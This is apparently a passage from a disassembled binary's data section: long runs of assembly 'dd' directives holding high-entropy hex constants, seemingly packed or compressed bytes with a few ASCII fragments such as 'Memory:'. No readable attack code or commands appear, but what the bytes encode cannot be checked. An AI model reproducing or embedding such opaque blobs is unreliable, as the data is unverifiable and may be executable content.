		dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h,	3C00C9EDh
		dd 0AEB77DF2h, 52AAE9h,	62BB4433h, 21590504h, 0F7EB3400h
		dd 9612CADh, 76747FB0h,	745B48E8h, 49017500h, 0DC76DA19h
		dd 894C3001h, 6CB0C46h,	17FF20h, 45C3B12Dh, 9B480B74h
		dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h,	40B95F31h
		dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
		dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
		dd 222648h, 0FB96B2AEh,	10510F99h, 7060520Ch, 852046h
		dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah,	63A600B8h
		dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
		dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
		dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h,	0D68B2280h
		dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
		dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
		dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h,	3B5374B4h
		dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
		dd 5EE4B1E0h, 0A47CC3h,	23246D7Ch, 69B81188h, 0E9EB0402h
		dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
		dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
		dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h,	87D882Ah
		dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
		dd 4FBABFC0h, 0E6F34Ch,	0EF461CD3h, 20C30Eh, 0F718AFA6h
		dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
		dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
		dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
		dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
		dd 80011109h, 48302F9h,	0E1F46B42h, 1D70FFC1h, 0B822000Dh
		dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h,	0EBBF0074h
		dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
		dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh,	0ED51FFAh
		dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
		dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
		dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh,	1EBEE00h
		dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
		dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
		dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
		dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h,	4084B073h
		dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
		dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
		dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h,	2803007Eh
		dd 4987B8BBh, 600452Bh,	1167FD1h, 7DC5A30Eh, 421900F4h
		dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
		dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah,	3B77426h
		dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
		dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
		dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
		dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
		dd 1D2D00F5h, 0AEA0BAh,	542B7EBDh, 3B90E91Fh, 89DB520Fh
		dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
		dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
		dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah,	5A6CC001h
		dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
		dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
		dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
		dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
		dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
		dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
		dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
		dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
		dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
		dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h,	16A61CEEh
		dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h,	0FE800DE8h
		dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h,	31A0020Ah
		dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
		dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
		dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
		dd 1AC90C0h, 8678326Eh,	30484087h, 0A0357B5h, 0A968163Fh
		dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
		dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
		dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
		dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
		dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
		dd 9DC5ADA8h, 1697F00h,	0FFCFA6D5h, 781F0E49h, 0C314B6BDh
		dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
		dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h,	8D093927h
		dd 70F70Fh, 0C9304093h,	0FFE33D3Ch, 8A529681h, 838E49E7h
		dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch,	0BBD226FCh
		dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
		dd 406F9FA4h, 1F8AA17h,	0E30F10AEh, 0ECFAC4C5h,	0B01C9C59h
		dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
		dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
		dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah,	93A7E44Dh
		dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
		dd 0F000A65Ah
		dd 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h
		dd 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh,	28A38h
		dd 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
		dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
		dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
		dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
		dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
		dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h,	0E175406Ah
		dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
		dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
		dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
		dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
		dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h,	15F66428h
		dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh,	7A17E022h
		dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
		dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
		dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
		dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
		dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
		dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
		dd 3401577Bh, 932DC45h,	69E480C4h, 0EB601EA6h, 0A49ECF10h
		dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
		dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
		dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
		dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
		dd 0B4E4B8C8h, 3BB072h,	0FC319382h, 0A6F8104Ch,	0F4470800h
		dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
		dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
		dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
		dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
		dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
		dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
		dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
		dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
		dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
		dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
		dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
		dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
		dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
		dd 39CD0472h, 0CF1CCEh,	91B123B0h, 0B3C824B2h, 39B58111h
		dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
		dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
		dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
		dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
		dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
		dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h,	0ABE45790h
		dd 95809CB2h, 0C015E2h,	754F450Ch, 66017473h, 6D654D00h
		dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h,	450BD4F5h
		dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h,	2F0C9066h
		dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
		dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h,	35010E65h
		dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
		dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
		dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
		dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
		dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h,	7626B4h
		dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
		dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h,	0D0084740h
		dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
		dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch,	97D567Eh
		dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
		dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch,	41451005h
		dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
		dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
		dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
		dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h,	52E864h
		dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
		dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
		dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
		dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h,	890C8112h
		dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
		dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
		dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
		dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
		dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
		dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
		dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
		dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
		dd 770F7A94h, 0C07D4855h
		dd 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h,	0D706C3B6h
		dd 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h
		dd 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh
		dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
		dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h,	51A65F09h
		dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
		dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
		dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
		dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
		dd 557550BAh, 12F3B91h,	3822F5D5h, 402E1004h, 0C4F278E2h
		dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
		dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
		dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h,	0EB66ECA1h
		dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
		dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
		dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
		dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
		dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
		dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
		dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
		dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h,	12FB307h
		dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
		dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h,	0A639600Eh
		dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
		dd 9697C714h, 7BC2516h,	0FEB818E8h, 98C8D013h, 0EC0099E3h
		dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
		dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
		dd 36404A3Ch, 73FC5FCh,	27895657h, 7FF7405Ch, 9D06E7D1h
		dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
		dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
		dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h,	0D000A928h
		dd 597A8E90h, 15A5F25h,	802AF4D3h, 0D0C6AACAh, 67003164h
		dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
		dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
		dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
		dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
		dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
		dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
		dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h,	944A8C26h
		dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh,	0A6F259FBh
		dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
		dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh,	0A8DAADCh
		dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
		dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h,	0CE390E16h
		dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
		dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
		dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
		dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h,	0B40F2919h
		dd 9C2649h, 0DC75C3E0h,	0A6525851h, 5AFBCD04h, 0A08D80EEh
		dd 6000273h, 7D80DB31h,	727C9AEBh, 12CA000Ah, 42D10104h
		dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah,	3C610ABAh
		dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh,	302AF880h
		dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
		dd 12AC0B6h, 3E5080C3h,	1A0B9403h, 0D68AE958h, 46178Dh
		dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
		dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh,	0E070523Ch
		dd 75015Ah, 0DE348D0Ch,	4A0F06D8h, 43F0B60Fh, 669D8024h
		dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h,	41276112h
		dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
		dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
		dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h,	44F9800Bh
		dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h,	0F70023EBh
		dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
		dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
		dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
		dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
		dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h,	0AEA7842h
		dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h,	3D854010h
		dd 93ACE092h, 90017E0h,	0F70E79C0h, 29E8D8h, 51875E81h
		dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
		dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
		dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
		dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
		dd 0F0713B13h, 6AD6B7h,	0EBCA5D5Fh, 7C95170Bh, 9053400h
		dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah,	0D605091h
		dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h,	5040411Ch
		dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
		dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh,	0E5029038h
		dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
		dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
		dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
		dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
		dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h,	34E6BF40h
		dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
		dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
		dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
		dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
		dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
		dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
		dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
		dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
		dd 2563E08Dh, 0E419F6h,	4118C5Eh, 3490DCA4h, 7ADD6105h
		dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
		dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
		dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
		dd 0FA3B0C4Dh, 47203Ch,	0F841F940h, 0E8FE0581h,	3AD48200h
		dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
		dd 0D14020C2h, 9FE810h,	0AD6CD61h, 0DB307828h, 0C8AE0660h
		dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
		dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
		dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
		dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
		dd 407CDAF4h, 915FF800h
		dd 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h
		dd 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h
		dd 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h
		dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
		dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
		dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
		dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h,	17904815h
		dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
		dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
		dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h,	23EE810Ah
		dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
		dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
		dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
		dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
		dd 64E00D2Ah, 5BB35F4h,	8C063757h, 902BC0F0h, 7034612h
		dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah,	0E90206BEh
		dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh,	5004672h
		dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
		dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h,	10B04490h
		dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
		dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
		dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
		dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
		dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
		dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h,	27E85082h
		dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h,	0DD530F1Fh
		dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
		dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
		dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
		dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
		dd 0D79E7323h, 51D0C8h,	6A621EB6h, 9499F502h, 41585700h
		dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
